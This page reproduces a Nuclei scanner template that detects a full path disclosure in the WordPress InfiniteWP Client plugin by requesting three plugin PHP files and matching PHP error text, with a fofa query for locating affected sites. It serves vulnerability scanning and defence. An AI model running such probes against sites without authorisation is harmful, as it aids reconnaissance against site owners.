wp-iwp-client-fpd: WordPress Plugin InfiniteWP Client - Full Path Disclosure

2026-01-08 WordPress Plugin InfiniteWP Client PoC Public

Description

WordPress InfiniteWP Client plugin is vulnerable to full path disclosure via direct access to plugin files.

PoC

id: wp-iwp-client-fpd

info:
  name: WordPress Plugin InfiniteWP Client - Full Path Disclosure
  author: ritikchaddha
  severity: low
  description: |
    WordPress InfiniteWP Client plugin is vulnerable to full path disclosure via direct access to plugin files.
  reference:
    - https://wordpress.org/plugins/iwp-client/
  metadata:
    verified: true
    max-request: 3
    vendor: developer
    product: iwp-client
    framework: wordpress
    fofa-query: body="/wp-content/plugins/iwp-client/"
  tags: wp,wordpress,wp-plugin,fpd,iwp-client,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/iwp-client/lib/IWPClass.php"
      - "{{BaseURL}}/wp-content/plugins/iwp-client/backup/backup.class.php"
      - "{{BaseURL}}/wp-content/plugins/iwp-client/lib/phpseclib/Crypt/AES.php"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Fatal error"
          - "iwp-client"
          - "Uncaught Error:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100844a5b313f95f2f57b5638d1cd2d88b3ddea939884e668688d6a933d958006b102205dccc2b2e63426104387be51a5d007ee92115403b9a145f4dfb1e4c71efee7f6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/wordpress/wp-iwp-client-fpd.yaml

References

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